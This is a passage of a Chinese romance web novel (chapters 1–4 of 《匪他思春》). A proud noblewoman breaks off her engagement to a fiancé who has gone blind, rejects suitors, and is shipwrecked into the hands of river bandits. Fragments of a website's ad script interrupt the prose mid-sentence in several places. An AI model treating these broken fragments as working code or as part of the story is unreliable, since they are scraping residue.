《匪他思春》 1. 001 婚事生变 已是荷月,天气愈发闷热。 漉漉的澄水帛被滚烫的风倏然烘干,被雕成假山模样的寒冰也溶成了一滩温水,侍女手中的长柄扇未有一刻停歇,可那日头透过篷顶层层叠叠的蜀锦,仍让斜倚在竹床上的女郎难受得很。 额上的薄汗尚有侍女紧盯着,时刻用清凉的帕子为她拭去,衣下的却不行了,鲛纱再是轻薄,黏腻在皮肉上的滋味也是难熬,女郎眸中的柔情似水,已在这一炷香的功夫里蒸干了,凌厉的目光盯得那画师提笔的手都颤了颤。 画师匆匆赶完最后几笔,滚进眼睫的汗珠子也没工夫顾及,一撂下笔杆,便躬身行礼,“辛苦崔女公子,日头毒辣,女公子可去歇息了。” “你的动作倒是比去岁快些,莫不是潦草动笔,敷衍我?”崔竹喧施施然地站起身,语气淡然,却压得画师的腰板又往下低了一寸。 “岂敢?”画师的语气愈发恭敬,“请女公子小憩片刻,待画稿一完,便呈于女公子过目。” 崔竹喧随意点了点头,没兴致在这烫得灼人皮肉的地方继续待下去,在曲柄伞的荫蔽下回了含凉院。有水车源源不断地运着凉水浇灌屋檐,加之石床玉枕,又有四名侍女在房中四角用扇将冰盆里漫溢的寒气扇到各处,食了半盏冰酪,这才觉得舒畅了许多。 无需开口,只肖阖上眼,自有识趣的丫鬟寻来上次未读完的话本子语调婉转地念下去,偏好不过片刻,便叫那些情情爱爱的故事倒尽了胃口,冷嘲一声:“闻君生两意,故去觅死生,怎不先断了那情郎的死生?” 她蹙眉摆手,丫鬟又换回了她最常听的《奇女子书》,还是永宁侯的事迹听着叫人舒心,人生一世,爱恨不抵价,唯利禄是真。 她自幼与琅琊蓝氏定亲,为的就是维持世家尊荣。 她堂堂虞阳崔氏,自然当一辈子都是世家贵女,若为个草寇折了身价,岂不是要成为整个大邺的笑话? 传记念至尾页,那画师才再度登门,拘谨地立在入口处,由两位侍女缓缓将画轴展开。 无穷碧叶,映日荷花,却有一女子螓首蛾眉,巧笑倩兮,笔触之细腻,画工之精妙,任谁来都得赞一句“芙蓉不及美人妆”,那画师却悄悄地打量着她的神色,小心地开口:“驽笔拙工,勉强绘出女公子十之一二的容色,万望女公子海涵。” “蓝公子去年夏日时作得一首芙蓉诗,才惊四座,今日将这幅芙蓉美人图送去,他定然心生欢喜。”贴身婢女金缕被这画迷得挪不开眼,连连夸赞着,崔竹喧却仍是神情恹恹。 “写什么不好,非要写长在池子里的荷花,搅得我在烈日底下晒了许久。” 虽那时有蜀锦铺的凉棚,冰块、却扇一样不少,可毕竟幕天席地,哪有她这花了几千两银子,特意叫能工巧匠比着前朝含凉殿建造出的含凉院舒服,说到底,还是那人不懂事,若写个月季、芍药,直接将花整盆端进来画,她何需受这份苦? “画得尚可,下去领赏吧。” 画师顿时松了一口气,欢天喜地地迈步出去,剩余的侍女小心地将画轴卷起,金缕问道:“女公子,那现在就差人将画送到琅琊去?” 崔竹喧颔首的动作一顿,忽而凝眉,“今日已是六月二十了,琅琊那头的画呢?还没送到?” “许是路上耽搁了?” “自琅琊到虞阳,骑快马需一个半月,走水路乘船仅要一月,他蓝青溪二月的生辰,便是派来送画的人马被山匪劫了两遭,再遣人来,也该到了!”崔竹喧面色不虞,连带着瞧那画轴都都不顺眼起来,“我崔氏同他蓝氏同为世家大族,十月便是婚期,他竟敢如此怠慢于我?莫不是欺我崔氏无人?” 崔竹喧当即甩袖而出,引得一众婢女提裙追去,“叔父呢?将他请来正厅,蓝氏这般无礼,我们岂能善罢甘休?” 长廊行至过半,迎面撞上来个小厮,观其要去的方向,也是正厅,却在望见她的刹那慌了神,崔竹喧沉声问:“出何事了?” 小厮犹豫了片刻,支支吾吾地开口:“蓝氏那个、瞎、瞎了。” “蓝青溪?” 小厮苦着一张脸点头,“蓝氏在琅琊便寻名医不得,就开始往各郡请医,咱们郡那个祖上效力于清宁县主的女医蔡玟玉也去了,这才探到的消息。” 崔竹喧神色更冷了一分,转道往西苑去,一脚将门踹开。 她自七岁那年同蓝青溪订亲,逢节旦日便要与那头交换贺礼,天长日久的,那些个金玉摆件、古玩字画多得数不胜数,索性专门腾了个院子放着。两地相隔甚远,未免成亲时认不出对方,每岁的生辰都要请画师作画一幅送过去,那头也同样要送过来。 只是今年的久久未至,壁上从左往右数过去便只有十幅。 画中人总穿着一身青色袍衫,墨发用白玉簪束起,或于亭中赏雪,或于院内读书,眉眼间尽是温和的笑意,怎么瞧都是一副上佳的皮相。 因而,崔竹喧向来是很满意这个未婚夫婿的,家世、容貌都与自己堪匹配,这么多年又从未有过恶名,偏生现在——她提笔蘸墨,走到最新的那幅画前,将画上郎君的双眸涂去,画卷顿时黯然。 她嗤笑一声,墨笔摔在地上。 “把信物和庚帖送回去,我要退婚!” 她这辈子都不可能屈就自己,与一个瞎子成亲,受人耻笑! “啊?”金缕惊呼一声,忙捂住自己不懂事的嘴,试探着劝阻,“这么大的事,要不要先跟老爷商议一下?” “商议?叔父还能摁头让我嫁给一个瞎子不成?” * 原是当值时间,可崔竹喧差人来叫,崔和豫安敢不归?顶着午间的烈日气喘吁吁地往家赶,在路过那静得出奇的长廊时,便知今日不好收场了,迈入门槛,见着被撕了满地的画像,心头 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一跳,脚步都变得清浅起来。 只在心底暗暗祈祷,既然朝画像发过火了,就不要再拿他出气了吧? “这是谁这么不长眼,惹了我家簌簌不高兴啊?”他踮着脚尖,小心地避让过那些碎纸,眼神瞟过,是蓝氏惯用的凝光纸,脑子里顿时有了思路,“是不是蓝氏那小子做错事了?他送的生辰礼不合你心意?” “我要退婚。” 许是先前发泄过一通了,崔竹喧的态度平缓地下达通知,全然不顾崔和豫同姗姗来迟的崔淮卿惊得目瞪口呆,崔和豫默了许久,才讷讷地出声:“这、这不好吧?毕竟是你爹娘订下的婚事,他又素有才名,偶尔做得不够体贴,也、也不行!我让淮卿上门去训斥他一番,你看如何?” “自然要上门去讨个说法,”她眉心紧蹙,提到此事就忍不住气血上涌,“蓝青溪成了个瞎子,蓝氏那边竟然还试图隐瞒,秘而不宣,他自去年十月便称病不出,想来是那时便出了事,竟生生诓骗了我九个月?他们莫不是想一直瞒下去,把我绑死在那个废人身上!” 崔和豫斟酌着开口:“瞎了?可还能治好?” 崔竹喧立时一个眼刀剜过去,“治好了便能保证不复发吗?他们今日敢瞒我,明日就敢欺我,后日便能辱我,没准儿哪日就会对我下杀手,如何能嫁?” “婚我已经退了,信物和庚帖皆已送还,此事不必再议。”她转而看向崔淮卿,“堂兄,你要去蓝氏为我讨个公道来!” 后者讪笑着点头,把腰间的折扇展开轻轻地为她扇风,“是是是,我把那些杂事都推了,明日就带人过去,叫他们知道,我们簌簌不是好欺负的。那个姓蓝的,我再亲自打他一顿,好不好?” “不好!”崔竹喧不满地望过来,“要让他过来登门谢罪!” “呃,这个,他不是瞎了嘛,不良于行,”崔淮卿面色发苦,“不然罚他再写几卷自省书?” “他是瞎了,又不是死了,走不了路就叫人背过来,下不了床就让人抬过来,不把我崔氏放在眼里,我又何必顾及他蓝氏的体面?” 崔淮卿咬着牙,挣扎了片刻,没来得及点头,手里的扇子便叫女郎抽了过去,带着怒气砸回来,“你不帮我?” “没有!绝对没有!你是我唯一的好妹妹,我不帮你帮谁?”他竖起三根手指,一幅对天发誓的态度,“我那是在想,这厮太过可恨,我打他的时候要先用左手还是先用右手。” 崔竹喧狐疑地扫过来,对上他分外诚恳的表情,这才满意地收回目光,坐到位置上,浅饮了一口茶水。 站着的二人面面相觑,总算是松了口气,腾出空来擦了擦额上的急汗,却猛然听得她开始下一项议程。 “我要相看些青年才俊。” “也好,也好,等天气好些,我办个赏秋宴,届时好生挑挑。” “不,从明天开始。” 2. 002 相看郎君 虞阳崔氏自来便是名门望族,加之当年扶持成帝上位,靠着从龙之功,更进一步,放眼整个大邺,除琅琊蓝氏外,再无世家可与之相抗。这般富贵门庭忽而起了兴致办芙蓉宴,哪怕是昨日递帖子,今日便开席,着实不合规矩,也有大把大把的人挤破脑袋上门。 更何况,来崔府赴宴,实在够吹嘘好一阵的。 谁家都能种上一片的藕花自不必说,丝弦管乐往乐坊里请人便是,至于瓜果点心、美酒佳肴,在座的也没有穷得揭不开锅的那种人,都是吃惯了,偏偏,他们这些个赴宴人凑在一起,也舍不得用巨冰琢成假山,每隔十几步便放上一座,这六月的天,别说热了,甚至要再添件披风保暖,才不至于冻得浑身哆嗦。 高门惊叹一声美轮美奂的雕工,小户则在心里头暗暗掐算这些个冰山得花多少金饼。 总归席间觥筹交错,相谈甚欢,没人能挑出一个毛病来。 直到,崔和豫砸下一记惊雷,崔氏女退婚了。 崔和豫只有一子,这个崔氏女指的是他的兄长、崔氏上一任家主崔和修之女崔竹喧,崔和修夫妇当年在赴樊川赈灾时不幸染了疫病而亡,留下一孤女自幼养在他膝下,自然是万般疼爱,千依百顺,偌大虞阳无人不知。 若只是言语间冒犯了崔和豫,那上门道个歉,这事儿就算过了,可若是得罪了这崔氏女,还是连夜收拾东西,逃出虞阳得好。 但也少有不长眼的东西在外头乱说,毕竟虞阳的郎君,谁不曾暗地里肖想一番,走运得崔氏女青眼,从此仕途畅通、金银无数。只是遗憾,人家早早便订了亲,轮不到他们这些个歪瓜裂枣,可今日不同,崔氏女退婚了,他们不就有机会了? 想通这一关窍,立时有个锦衣公子站起身来,自忖着自身才貌尚可,竟敢端着杯盏向崔和豫敬酒,“今日既是为崔女公子选婿,不若请她至宴中,奏曲一首,也好看看,哪家的儿郎有幸,能与女公子琴瑟和鸣。” 崔和豫上一秒还春风和煦的脸,立时阴沉下来,怒斥一声:“你算是什么东西,让我崔氏贵女为你抚琴?” “大人误会,我不是这个意思,我是……” 辩解的话未说完,便被两个壮汉捂住口鼻,匆匆拉出宴席,只是热络的氛围也被一并带走,满座寂然,束手束脚地坐得笔直,等了好一会儿,才等来崔和豫冷淡的声音。 “若有意为我崔门婿者,十日内可将姓名、籍贯、生辰八字、家中情况一应写清楚,附上画像,差人送到门房,若有能过眼的,我自会再下请帖。” 因这一出,虞阳善丹青者,十日未得一个好觉。 “张画工,不是说好来我家画像的吗?” “人家出了双倍的价,那我还能不挣银子不成?” “他、他双倍,那我四倍!”话罢,便支使奴仆将画工往马车里塞,走时还要贼眉鼠眼地四下张望一番,生怕半路杀出新的程咬金,把这好不容易寻到的画工又抢走。 果不其然,这厢刚走,便有另一家来堵门,只可惜来迟一步,扑了个空。 画工门前热闹,崔府门房那更是络绎不绝,各家奴仆又是塞银子、又是递茶叶的,就求守门那老头收捡东西时,悄悄把他们家的画给挪上面些,石老头那叫一个来者不拒,一箱子装画,一箱子装贿赂,嘴角咧至耳根,就没舍得放下来过。 总归位置怎么摆都不影响画卷被丢进后厨引火的结局,毕竟崔门婿,可不是一般人能当的。 剔除去出身低微、年岁过大、传有恶名的,每日剩下的画卷仍有数十幅,即使如此,也难入崔竹喧的眼。 “这个,虞阳的大夫就没有没为他出诊过的,想来也是个迎风咳血的病秧子,见他,岂不晦气?” “这个,说是自幼便拜师大儒,研习诗文,何以弱冠之年仍未有才名?”崔竹喧瞥过夹在画卷里的诗稿,满篇尽提些想啊、念啊的字眼,冷嘲一声,“吟酸诗的小白脸。” 她继续往后看,好不容易画卷上的人丰神俊朗,勉强过眼,又是个昭武副尉,能够上个年少有为的尾巴,可呈上来的那卷手书,只能说她崔府随意提溜出一个下人来写,都比之工整数倍。 “不通文墨的莽夫!” 画卷被翻得见了底,上门探口风的冰人也一个个灰溜溜地撤了出去,剩下最后一个紧捏着帕子,许是舍不得那头许诺的泼天富贵,硬着头皮将画轴展开,开始吹嘘。 “段家这位,绝对是虞阳郡一等一的好儿郎,行伍出身,不过二十三岁就做到了游击将军,仕途明亮,人也生得周正,孔武有力,绝不是旁的歪瓜裂枣能比的!” “当真?” “当真!” 冰人信誓旦旦地保证着,竖着手指对天发誓,就差当场撞柱以表诚心,于是崔竹喧勉强点头,容她去把这最后一位绝顶好儿郎叫过来瞧瞧。 * “我的段郎君哦,你怎么穿着这身就来了?” 冰人在崔府门前左等右等,人都要被这日头烤化了,终于等来了策马而来的段煜白,可定睛望见他那身灰褐色袍衫,头上还不知从哪棵树上掰了截树枝做发簪,腰间又挎了把长剑,说难听些,这和那些个不务正业、整日在街上游荡的游侠有何区别?冰人顿时两眼一抹黑,恨不得将这人再赶回去,“你今日可是来相看的,这副模样,人家女公子怎么瞧得上啊?” 段煜白翻身下马,随手将马鞭抛给门前的小厮,无甚所谓地跨进大门,“瞧不上便瞧不上,我又不是非攀这崔家的高门不可,再说,我平素就是如此,装得了今日,还能装一辈子不成?” 冰人拎着衣裙追上去,拧着眉想要嘱咐几句,可对上边上那张油盐不进的脸,就忍不住长吁短叹,“崔女公子不论是家世、样貌都是顶了天的,这你都不肯,难不成还想尚公主 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不成?” “名声这东西都是吹出来的,你听过哪家的贵女传出恶名了?”他眸中闪过些许不耐,“不必多言,我只是被家里人压着过来走走过场罢了,我若要娶妻,才不看这些虚名,只要合心意的。” 冰人手中的锦帕几乎要被绞烂了,自己磨破嘴皮子才求来的机会,怎么就摊上这么一头倔驴,泼天的富贵就这样失之交臂,满脸郁色,悲痛万分地将人领到了厅前。 “崔女公子,我将人送到了。” 崔竹喧搁下手中的酥山,用帕子小心地擦净唇角,这才抬眸望向屏风外那道高挑的影子,□□尺高,不胖不瘦,瞧这身形,那冰人说的话倒有几分可信,而后便见那影子恭恭敬敬揖了一礼。 “段煜白见过崔女公子。” 声音有些冷淡,大概生来就这副性子?但不算难听,话少也好,免得成日里叽叽喳喳,吵得跟树上的野蝉似的。 截至目前,崔竹喧对他观感尚可,于是抬手,横亘在中间的楠木雕花海棠刺绣屏风便被撤下,双方露出真容。 段煜白敷衍的神色立时凝住,眼睛一眨不眨地望过去,女郎一身石榴色的鲛纱,云鬓高挽,发间的流苏轻轻摇晃,额间的花钿栩栩如生,一点斜红更衬得她明眸皓齿、姝色斐然,他下意识喉头一滚,正要说些什么,便见女郎眉目间顷刻染了薄怒,带着嗔意开口。 “衣品低劣,举止粗俗。” 段煜白顺着她的目光,摸了下发间简陋的树枝,又去慌忙把衣摆理顺些,可入手的布料亦是粗糙至极,如何上得台面? “我、我是刚从校场回来,平常不是这样的,你、不是、崔女公子别生气,你听我解释……” “连官话都说不顺溜,就这还敢登我崔府的门,一并赶出去!” 半柱香后,崔府的大门“砰”地合上,留下段煜白和冰人站在檐下面面相觑,哦,还有一匹大黑马,绕着门前的树兜了一圈,打了个响亮的喷嚏。 “张二娘子,都说您是整个虞阳郡最好的冰人不是?”段煜白低眉顺眼的,全然没了先前桀骜的神色,扯下自己的荷包,整袋往冰人手里塞,“您能不能想办法,替我说说情,让我再进崔府一趟?” 冰人掂了掂钱袋子,鼓鼓囊囊的,里头少说有三四块银铤,抬眸望过去,皮笑肉不笑地开口:“段郎君不是不欲攀崔门吗?何必管崔女公子有没有看上?” “先前是我狂妄了,不知礼数,冲撞了张二娘子,还请您大人有大量,谅我是个粗人,别同我计较。” “不看虚名,只要合心意的?” 段煜白尴尬地笑笑,喏喏应声,“崔女公子最是合我心意。” “装得了一时,装不了一辈子?” “我从此刻起,便洗心革面,重新做人!” 冰人朝他翻了个大大的白眼,将钱袋砸回去,冷哼一声:“回家洗洗睡吧!” 3. 003 船只倾覆 崔竹喧紧靠着椅背而坐,长柄扇一上一下地摇晃着,送来徐徐清风,却压不下她半分火气,连小桌上甜腻腻的酥山都没心思吃了。 “偌大虞阳,竟连个能看的郎君都没有!” 金缕眼尖,将那半盏酥山换成了荔枝膏水,声音轻柔地安抚着,“若随意拎出一个郎君,便能与蓝氏那位相提并论,女公子当初又怎会和他订亲?” 此话倒是不假。 她虽未见过蓝青溪,可那人打小便有神童之名,什么七岁写诗、八岁作赋的,称之为端方公子的典范也不算过。虽说世家之间,在这方面多有捏造,但即使如此,能在一帮子的相互吹嘘中脱颖而出,足见其有几分真才实学。更别提其显赫的出身,只有皇室能压他一头,可她好端端一个贵女,凭什么要进皇城,同别人在一个院里为点蝇头小利争个你死我活? “不然,咱们再把画卷拿回来重新选一遍,十成十的好找不到,七八分的总能有一大把。”金缕提议道。 崔竹喧倏然蹙了眉,声音清冷,“大邺十八郡,总不见得只有他蓝青溪一个配称如意郎君。” 金缕有些讶然,“女公子是想去其他郡择婿?可是老爷日前去了京都,一时半会怕是联系不上。” 地方官员三年一次朝觐考核,按常理而言,只需十月动身进京即可,却不知崔和豫收到了什么消息,连替她掌看夫婿都顾不及,匆匆收捡了行李出门,只嘱托她先挑着,等他回来再行定夺。 不论事情大小,他既然进了京,势必要等到考核结束也就是过了正旦才归,等返回虞阳都明年三月了,届时再去慢吞吞地相看,一来二去,又得一年光景。若那蓝青溪先她一步成婚,在众人面前琴瑟和鸣的,她岂不是会沦为旁人茶余饭后的谈资? 走到哪,都要冒出个不甚熟络的人,假惺惺地关怀一二,实则挖苦她当初势利退婚之举,背地里指不定怎么编排她悔不当初、每日以泪洗面呢。 思及此处,更觉拖延不得,索性她先挑上一堆合适人选,等崔和豫回来敲定,明年生辰前拜堂成亲,她便仍是挑不出半分错处的贵女,退婚也只是无伤大雅的小事,实在有蜚语流言,那也是朝着蓝青溪那个瞎子去,落不到她头上。 “叫人备船,我要亲往十八郡。” 金缕有些犹疑地开口:“女公子还未出过远门呢,不若再等等,等公子回来,与您一道去?” 崔竹喧扬眉,嗤笑一声。 “不必,普天之下,还有敢与我崔氏过不去的人不成?” * 白水拍岸,浪打船舷,湍急的水流比马蹄踏出的动静要大得多,迎面的风将船帆吹得鼓胀,夹岸的青山接连后撤,若抛去这船身的颠簸动荡不谈,在这甲板上,融于红日绿江的上佳景致,倒不失为一个散心的好去处。 “那船家好生黑心,推说什么时值汛期,要了咱们三倍的价才肯开船!”金缕忿忿不平地骂道,“哪来的什么汛期,这都出来七八日了,雨星子都未见着一点,就是坐地起价,宰咱们呢!” “匆匆忙忙出来,被索了高价也难免,我看坐船还有几分趣味,等此番回去,叫叔父给我去订一艘,免得下回出门还得赁船。” 崔竹喧立于船舷处,望着跃水而出的游鱼很是新奇,饶是被晃得有些头晕,也舍不得回船舱躺下,只是在口中含了些酸梅压着,将每一尾鱼瞧个仔细。 “这儿的鱼倒是比府里的活泼许多,荷塘里那些鲤鱼,一条条笨得很,整日只知道张嘴吞鱼食,每月总有些活生生把自己撑死的。” “家鱼自是比不得野鱼机灵,”金缕扶着船舷,踮脚往下瞧了两眼,“好像还挺肥的,不如唤人捞几尾上来,用姜片垫底清蒸一番,味道定然鲜美!” 崔竹喧闻言来了些兴致,她整日里净吃些酥山、冰酪的,每次正餐不过夹上两筷子意思意思,许久没吃正经菜式,一下被丫鬟引出了馋虫,望向游鱼的目光微闪,开始思虑起一会儿从哪下筷子比较好。 “那你吩咐下去,多捞些,给大家加道菜。” 金缕欣喜地应声,提着裙摆往后头喊人去了。 崔竹喧则慢慢悠悠地沿着船舷一路走过去,指尖在结实的木板上轻点,眼神则跟着浪花翻来滚去,这条清蒸、这条红烧、这条水煮、这条糖醋……忽而又有些懊恼地蹙起眉,早先没想到这些,带的厨子最擅做冰饮,也不知他做鱼的手艺如何,实在失策。 正出神地盘算着,船帆却不知何时转了向,整个船身倏然而变,她脚下一崴,小臂“砰”的一声砸上船舷,来不及呼痛,指尖连忙攥住木头,船舷上因常年风吹日晒而生出的木刺如长了眼般,精准地扎进了她指甲的缝隙间,嫣红的血珠立即冒出来,滚在朽木上,跌进江水中,宛如一颗颗珊瑚珠。 她疼得几乎要渗出泪来,咬牙切齿的,欲问责一番这些胡乱开船的船工,却听得那些汉子急切的叫喊声:“风变了!前头有暴雨,快转向!” 精壮的船工飞快地奔去拉扯粗粝的麻绳,可风比他们更强,雨比他们更快,瓢泼的雨顷刻间将人浇个透彻,呼啸的风一扬,船帆便连累整艘船冲进乌云黑水间,风声、雨声、叫喊声交杂在一块,每一种都刺耳得很,每一种也听不真切。 她竭力攀着船舷,一步步往回挪去,之前嫌弃窄小得无处可逛的甲板,眼下却大得惊人,在灰蒙蒙中,船舱里的那点灯火跟着巨浪摇来晃去,她好像靠近了些,又好像离得更远,分不清,辨不明,只是踉踉跄跄,在这陡然惊现的风暴中求生。 “女公子!女公子等我,我这就来救您!” 星星灯火旁冒出个纤弱的身影,死死地抱着门框,这才不至于被风刮了去,却还试图往这骤雨里再闯进些。 她往前迈出一步,手掌顺着船舷小心地移过去,确保没有脱手的可能,一步又一步,眼看着就要搭上那 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 只朝她伸来的手,猛然一声巨响,不是惊雷,胜似惊雷,整艘船都被惊了一颤,船身立时下沉了几寸,犹如一架危险巨大的秋千,被推来拽去,把上头的人和物尽数抖落。 “触礁了!船身漏水了!” 可这些已与她无甚干系了,她不在船上,而是被掀落出去。 雨水和江水说不出哪个更寒凉,哪个更刺骨,她只能凭本能去攀附住同样被甩进水里的浮木,意识的最后,是金缕仓惶的尖叫。 “女公子!!!” 急风骤雨难长久,不过几刻钟,便云销雨霁。 天空被冲洗至澄澈透明,翻涌的浪潮也隐于水面之下,全然没了先前那副恶劣的模样,若非岸边尽是死里逃生的狼狈人,谁敢信这般青山绿水间的杀机重重。 尚能活动的人将力竭者拖得离水远些,挨个按压施救,金缕不通水性,恰在此之列,呕出一腹的苦水,剧烈地咳嗽者,整张脸涨得通红,好容易平复些,慌忙去拽边上人的衣角,“女公子呢?” “没、没见着……” 她爬起身,踉跄地挤进每个有人的角落,带着哭腔喊着:“女公子!女公子您在哪啊?” “不要吓金缕啊!” “女公子!” * 墨色的云迅疾南下,带着湍急的水流,沿江席卷而去,一路不知祸害多少船只,箱、橱、柜、匣,又或看不出原形的朽烂木片,兼之各色的布料搅弄到一起,如同一个巨大的泔水桶,汇集了各种各样的垃圾。 而这些垃圾之中,夹杂着几个人。 “艹他大爷的,被阴了波大的!”络腮胡的男人拥挤地缩在一叶小舟里,束手束脚,却束不住他一张嘴骂骂咧咧,“这可是上个月才抢到的新船!” 边上的瘦长条安慰道:“咱不是也把他们搞沉了吗?” 络腮胡咬牙切齿:“他们开的破烂,哪能跟我的比?” 矮个子点头附和着:“就是、就是!” 三人正欲再说些什么,却被兜头砸下一团湿哒哒的布,险些被那腥潮味儿熏晕过去,好不容易扒拉下来,就见另一只小船上凌厉的眉目。 “非得我看着,你们才晓得做活是不?” 三人登时将头摇得如拨浪鼓一般,左右左右,甭提有多齐整。 “水上漂着这么多值钱的物什,还不快去捞上来?本来就赔了一艘船,再个个同你们这般偷懒耍滑,回去都要没米下锅了!” “怎么的?等着我把你们挨个片了,下酒吃?”说着,他拇指轻挑,腰侧的横刀便出鞘一线,露出森寒的光来,当即催得他们下饺子似的跳进水里,追逐着浮物而去。 持刀人冷嗤一声,在金银珠宝中搜寻最值钱的那个,目光却倏然顿住。 墨云黑水间,天地皆黯然,入目皆是灰茫,唯有一处靡艳的红色—— 那是个,比洛水神女还要貌美的姑娘。 4. 004 流落樊川 “诶,听说没?”瘦子悄悄用手肘撞了下旁边人,挤眉弄眼地伸长脖子,恨不得一张嘴能同面团一般拉长,直接贴到人的耳朵上,“老大这回没捞着金子,直接捞了个人回来。” 边上人撇撇嘴,不甚在意,“往日又不是没捞过人,弄醒了索一笔救命钱,不也是挣?” 瘦子轻蔑地瞥过去一眼,提了提裤腰带,那架势别提有多神气,“你个不开窍的,往日怎么捞人你又不是不知道,顺手拎起来往船上一扔就是,是死是活全看命,还能耽误挣大钱不成?” “至于这个,可不一般!”瘦子两颗眼珠子骨碌碌地转上一圈,四周人收网的、点财的、刷船的,个个都忙着,确保这闲话不会传扬出去,这才压低声音,神神秘秘地开口,“老大自把她捞上来起,那就没撒过手,生怕人磕着碰着,连他那条小船都支使着四炉子帮忙划回来,放在以前,他哪许旁人踩他的船啊?” 那人倒吸一口凉气,认同地点头,“那咱是不是要添个压寨夫人啊?” 他忽而低下头,往自己的怀里翻来摸去,掏出几粒碎银子,面色有些为难,“糟了,我日前拖人给我买好酒去了,剩下这三瓜俩枣的,怕是贺礼都凑不齐——要不咱勤快点,再下趟水?” 瘦子闻言一想,也是,确实得准备准备,当即跟着他又往水边去,只是鞋底子刚跨过船舷呢,后脑勺就砸过来一条两斤重的草鱼,头晕目眩的,险些一头栽进沙土里。 “你们两个寻死就直说,把家当都提前分了,直接闷水里算了,别又赔出去一条船!” “老大,你这说的哪的话啊?”二人缩头缩脑地挤在一块,苦着脸解释着,“我们就是、就是勤快,想再挣点。” 后头人冷笑一声,“勤快着见阎王呢?云都没散呢,就敢下水,等着我埋两根鱼刺给你们立坟嘛?” 见二人彻底唯唯诺诺地认错了,后头人的脸色稍霁,支使道:“把鱼炖了,我记得厨房还有块豆腐留着,一起放里头,看着火候,打两个荷包蛋进去,好了就端我屋里来。” “好嘞、好嘞!” 那人微微颔首,可盯着这俩人,左边一个没头脑,右边一个不高兴,到底放不下心,又嘱咐一句,“这锅不许偷吃啊!” 两人自是诚恳应声,就冲着他们方才聊那秘事,用脚后跟想,也当知道这是给谁做的,捧起鱼就往后厨奔,那兴冲冲的模样,更显得贼眉鼠眼,也罢,毕竟干得也不是什么正经营生。 他揉了揉脑袋,大步回自己院里,就见着一个七八岁的丫头两手端着药碗小心翼翼地走着,走了好半天,还没他一步的距离远,照她这个走法,送进房里,天都要黑了。他索性夺过药碗,将人打发出去。 “晚上还有暴雨,叫大家收拾得差不多就进屋呆着,别在外头闲逛,尤其是别偷摸着下水。” 小丫头甜甜地应了声,蹦蹦跳跳地出去了。 他则是撩开门帘,轻声进了屋。 竹床上的人还未醒,艳色的衣摆皱巴在了一起,青丝凌乱地垂下来,衬得她的脸色愈发白,连唇瓣都露不出一点血色,极娇弱可怜的模样,难道发热了? 他放下药碗,拧着眉去探她的额头,指节尚未触及,那人却倏然睁开眼,猛得一推,而后翻身骑在他腰上,用一根金簪紧紧地抵住他颈侧,目光狠戾,凶得很。 他并不抵抗,哪怕刚刚那下,骨头和地面撞得生疼,也只是闷哼一声,两手摊开,以显示自己的无攻击性,目光轻飘飘地回望过去,若有若无地打量着。 那双眸子亮得逼人,先前还只是一副好看的皮囊,如今却是鲜活起来,青丝自她的发髻垂到他的脸侧,细细的、软软的,带起一点轻微的痒意,他忍不住想蹭蹭,可指尖稍动,那尖锐的簪子又逼近一分,陷入皮肉,他便只能忍着。 只是目光却舍不得收回去,就这般黏着她,微微上翘起唇角。 他本意是想示好的,谁知这姑娘竟领会成了挑衅,气恼至极,恶声恶气地开始逼问:“说,谁派你来的?” 他眉头轻挑,听着是个仇家众多的姑娘。 还不待他回答,那清冷的声音又继续道:“是不是蓝氏?果然是一丘之貉,枉我同他们交好数年,做事竟如此狠辣!他们给了你多少赏金?要你灭口还是活捉?” “嗯,你想如何?” “不管他们出多少,我给你双倍,替我杀了蓝青溪!” 他又不是杀手,哪能揽下这活儿? 他正欲拒绝,门帘被再度掀开,探进一个消瘦的脑袋,“老大,你是跟我们一起吃,还是、是……” 瘦子原本眯成一条缝的眼睛大睁开来,被这女上男下的姿势惊得迟滞一瞬,慌忙拉拢帘子,“我绝对不会往外说的!” 布帘子一摇一晃的,带着底下的零散的小贝壳碰来撞去,姑娘的目光挪回来,带上了分羞恼的意味,他眼尖,瞧见了她染上绯色的耳根,眸中不禁划过一丝笑意。 “某是好人,可否让让?” “空口白牙,有何凭证?” 他轻叹了一口气,颇有些无奈,攥住她的手腕一翻,电光石火间,她只觉身上一轻,人已被他打横抱起,放在那张竹床上坐下,至于那根金簪,则在他犹豫片刻后,小心地簪回了她的发间。 “某是这处的渔民,捕鱼时看见你漂在水上,所以救了回来,并无坏心,”他并不讲究,随手扯了把小小的板凳曲腿坐下,倒显得比她还矮上半分,“你的衣裳首饰某都未曾动过,你可以检查一下。” 崔竹喧闻言,低眉去翻拣自己的衣裙,只边缘处被勾破了几道口子,再看系带,确是她一贯的绑法,这才稍稍放下心,只仍是用审视的目光追问着:“那方才那人唤你为老大,何意?” “……是这样,某捕鱼的本领不错,常领着周边的兄弟们下水,一句戏称,不必在意。”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 崔竹喧低垂下眼睫,不知对这番说辞信了几分。 “这是哪?” “白原洲。” 她在脑中思索一番,确定这是个从未听过的地名,蹙起眉,“说清楚点。” “汾桡县外松荆河上白原洲,”他瞧见她仍是一脸茫然之色,补充道,“属樊川郡。” 她心头咯噔一下,呆呆地坐着。 怎、怎会到了樊川呢? 即便她未出过远门,可大邺有哪些郡她还是知晓的,樊川距虞阳何止百里之遥,她先前乘船,也只是朝相邻的汾阳而去,却不想,遭了一场暴雨,便沦落到了樊川。 叔父远赴京都,堂兄又去了琅琊,家中无人主事,谁知道她不见了?若金缕有幸生还,是同自己这般,飘零异乡,还是与崔家的侍从一道?就算金缕安然无恙地回了崔府,一个婢女又如何支使得动崔氏上下前来救她? 便是等来了堂兄,他们多半也只会在汾阳周边寻觅,如何能想到她孤身到了樊川? 她不禁鼻头一酸,只是尚有外人在此,未免叫人看轻,强忍着不落下泪来。 “能否送我去镇上?”她身上并未带银两,只好将发间的金簪又拔了下来,只是这回并非作为武器,而是当作财物,递到他面前。 那人定定地看了她一眼,并未接过,“不能。” “为什么?”崔竹喧咬牙问道,拽过他的右手,将金簪强塞进他的手心,“你若嫌钱少,可以此为凭证,来日我顺利归家,必会以重金相酬。” 